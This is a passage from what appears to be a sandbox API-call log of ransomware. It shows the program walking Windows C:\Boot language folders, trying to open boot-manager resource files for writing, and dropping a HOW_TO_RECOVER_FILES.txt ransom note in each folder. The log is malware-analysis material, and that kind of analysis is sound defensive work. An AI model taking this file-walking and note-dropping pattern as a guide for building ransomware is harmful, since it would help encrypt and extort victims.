lpFileName="C:\\Boot\\pt-BR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0071.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.110] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0071.111] GetFileType (hFile=0x760) returned 0x1 [0071.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.112] GetFileType (hFile=0x760) returned 0x1 [0071.112] WriteFile (in: hFile=0x760, lpBuffer=0x3562010*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3562010*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.113] CloseHandle (hObject=0x760) returned 1 [0071.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.113] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0071.113] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.114] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.115] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.115] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.115] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.115] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.115] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0071.115] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0071.115] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.116] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.116] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.116] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0071.116] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0071.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.116] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.116] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3570c68 | out: lpFileInformation=0x3570c68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1 [0071.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.116] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.117] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.119] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.119] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3571318 | out: lpFileInformation=0x3571318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1 [0071.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.119] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.119] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.121] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0071.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.122] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\pt-pt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0071.300] GetFileType (hFile=0x6b0) returned 0x1 [0071.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.300] GetFileType (hFile=0x6b0) returned 0x1 [0071.301] WriteFile (in: hFile=0x6b0, lpBuffer=0x31e0848*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31e0848*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.302] CloseHandle (hObject=0x6b0) returned 1 [0071.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.302] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\qps-ploc", lpFilePart=0x0) returned 0x10 [0071.302] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.302] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.303] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.303] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.303] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.303] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.399] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\qps-ploc", lpFilePart=0x0) returned 0x10 [0071.399] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0071.399] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.399] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.400] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.400] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0071.400] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0071.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.400] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x20 [0071.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.400] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31ef570 | out: lpFileInformation=0x31ef570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160)) returned 1 [0071.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.401] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\qps-ploc\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x20 [0071.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.401] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.403] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\qps-ploc\\memtest.exe.mui", lpFilePart=0x0) returned 0x20 [0071.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.403] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31efc38 | out: lpFileInformation=0x31efc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398)) returned 1 [0071.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.404] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\qps-ploc\\memtest.exe.mui", lpFilePart=0x0) returned 0x20 [0071.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.404] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.406] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\qps-ploc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x29 [0071.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.406] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\qps-ploc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0071.408] GetFileType (hFile=0x6b0) returned 0x1 [0071.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.408] GetFileType (hFile=0x6b0) returned 0x1 [0071.408] WriteFile (in: hFile=0x6b0, lpBuffer=0x31f2660*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31f2660*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.409] CloseHandle (hObject=0x6b0) returned 1 [0071.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.410] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources", lpFilePart=0x0) returned 0x11 [0071.410] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0071.410] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.411] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0071.411] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: 